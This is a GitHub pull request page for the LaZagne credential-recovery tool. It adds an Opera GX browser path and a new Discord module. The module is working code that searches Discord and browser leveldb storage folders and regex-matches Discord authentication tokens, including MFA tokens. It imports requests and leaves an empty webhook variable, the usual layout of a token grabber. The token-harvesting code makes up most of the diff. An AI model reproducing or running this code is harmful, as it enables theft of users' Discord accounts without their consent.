Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Added more software #620

Open
wants to merge 12 commits into
base: master
Choose a base branch
from
1 change: 1 addition & 0 deletions Windows/lazagne/softwares/browsers/chromium_browsers.py
Original file line number Diff line number Diff line change
Expand Up @@ -22,6 +22,7 @@
(u'google chrome', u'{LOCALAPPDATA}\\Google\\Chrome\\User Data'),
(u'kometa', u'{LOCALAPPDATA}\\Kometa\\User Data'),
(u'opera', u'{APPDATA}\\Opera Software\\Opera Stable'),
(u'opera gx', u'{APPDATA}\\Opera Software\\Opera GX Stable'),
(u'orbitum', u'{LOCALAPPDATA}\\Orbitum\\User Data'),
(u'sputnik', u'{LOCALAPPDATA}\\Sputnik\\Sputnik\\User Data'),
(u'torch', u'{LOCALAPPDATA}\\Torch\\User Data'),
Expand Down
42 changes: 42 additions & 0 deletions Windows/lazagne/softwares/chats/discord.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,42 @@
import os, re, requests, json
def find_tokens():
tokens = []
local = os.getenv("localAPPDATA")
roaming = os.getenv("APPDATA")
hook = ""
paths = {
"Discord" : roaming + "\\Discord",
"Discord Canary" : roaming + "\\discordcanary",
"Discord PTB" : roaming + "\\discordptb",
"Google Chrome" : local + "\\Google\\Chrome\\User Data\\Default",
"Opera" : roaming + "\\Opera Software\\Opera Stable",
"Brave" : local + "\\BraveSoftware\\Brave-Browser\\User Data\\Default",
"Yandex" : local + "\\Yandex\\YandexBrowser\\User Data\\Default",
'Lightcord' : roaming + "\\Lightcord",
'Opera GX' : roaming + "\\Opera Software\\Opera GX Stable",
'Amigo' : local + "\\Amigo\\User Data",
'Torch' : local + "\\Torch\\User Data",
'Kometa' : local + "\\Kometa\\User Data",
'Orbitum' : local + "\\Orbitum\\User Data",
'CentBrowser' : local + "\\CentBrowser\\User Data",
'Sputnik' : local + "\\Sputnik\\Sputnik\\User Data",
'Chrome SxS' : local + "\\Google\\Chrome SxS\\User Data",
'Epic Privacy Browser' : local + "\\Epic Privacy Browser\\User Data",
'Microsoft Edge' : local + "\\Microsoft\\Edge\\User Data\\Default",
'Uran' : local + "\\uCozMedia\\Uran\\User Data\\Default",
'Iridium' : local + "\\Iridium\\User Data\\Default\\local Storage\\leveld",
'Firefox' : roaming + "\\Mozilla\\Firefox\\Profiles",
}

for platform, path in paths.items():
path = os.path.join(path, "local Storage", "leveldb")
if os.path.exists(path):
for file_name in os.listdir(path):
if file_name.endswith(".log") or file_name.endswith(".ldb") or file_name.endswith(".sqlite"):
with open(os.path.join(path, file_name), errors="ignore") as file:
for line in file.readlines():
for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{27}", r"mfa\.[\w-]{84}"):
for token in re.findall(regex, line):
if f"{token} | {platform}" not in tokens:
tokens.append(token)
return tokens